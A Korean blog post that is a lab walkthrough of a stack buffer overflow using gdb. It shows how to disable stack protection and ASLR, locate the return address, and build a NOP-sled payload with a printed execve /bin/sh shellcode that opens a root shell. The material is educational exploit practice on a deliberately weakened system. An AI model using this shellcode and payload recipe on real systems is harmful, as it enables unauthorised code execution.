2015. 4. 23. 09:14 :: 시스템 보안

gdb를 이용한 버퍼 오버플로우 실습2

버퍼공간이 작을 때 우회하는 방법으로 버퍼오버플로우를 실습합니다.

1. 소스코드 작성

1) 소스코드 작성

아래와 같은 간단한 소스코드를 작성합니다. 지난번 실습과 다른점은 버퍼의 크기가 4밖에 되지 않습니다.

 

2) 컴파일

아래와 같은 옵션으로 컴파일을 수행합니다.

-fno-stack-protector : 스택 보호 기법 해제

-mpreferred-stack-boundary=2 : 스택 더미 없애기

-z execstack : 스택 메모리에 실행권한 부여

 

3) 스택고정

랜덤스택을 disable하기 위해 아래와 같은 명령어를 입력합니다.

- echo 0 > /proc/sys/kernel/randomize_va_space

 

2. 풀이방법

버퍼공간이 4byte밖에 되지 않기때문에 리턴값이 들어있는 주소 아래에

쉘코드를 삽입하여 실행시키는 방법으로 진행합니다.

NOP이 추가되는 이유는 시스템마다 주소가 조금씩 바뀔 수 있으므로 NOP코드를 추가하여

쉘코드 주변의 NOP코드로 점프하게 될 경우 쉘코드를 실행시킬 수 있도록 만들기 위해서입니다.

 

3. gdb 실행

 -q 옵션을 이용하여 gdb를 실행합니다.

- set disassembly-flavor intel 옵션을 이용하여 인텔 문법으로 설정하고 main을 살펴봅니다.

 

4. NOP코드가 끝나고 쉘코드가 들어가는 주소 얻기

ebp 주소값을 얻어내기 위해 main+3으로 브레이크 포인트를 걸고,

argv의 인자로 "AAAAAAAATEST"를 넣어줍니다.

ebp의 값이 "0xbffff4e8"이므로 "0xbffff4ec"에 RET값이 들어가며,

"0xbffff3d0"에 NOP코드가 들어갑니다. (NOP코드는 길어져도 상관없습니다)

따라서 쉘코드가 들어가는 주소는 NOP코드의 시작주소부터 "0xbffff3d4" 사이에 들어가면 됩니다.

 

5. RET를 덮어쓰기

1) 사용할 쉘코드

구글링을 이용하여 사용할 쉘코드를 얻습니다. 저는 아래와같은 코드를 사용했습니다.

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

 

2) 실행

실행하기 위해 아래와 같은 명령어를 입력합니다.

r $(python -c 'print "AAAAAAAA" + "RET주소" + "NOP코드" + "쉘코드""')

RET주소 : NOP코드가 끝나고 쉘코드가 들어가는 주소

NOP코드 :  "\x90\x90\x90\x90"

쉘코드 : "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

 

3) 결과 확인

리턴값을 조작하여 buffer에 입력된 쉘코드의 주소를 넣어주었고, 코드가 실행되면서 쉘(하단의 '#')을 얻게됩니다.

만약 segmentation fault가 나오는 경우, buffer의 주소를 잘못입력했거나, 쉘코드가 잘못 입력되었을 가능성이 있습니다.

 

얻어낸 쉘을 이용하여 명령어를 입력해봅니다.

 

posted by Red_Message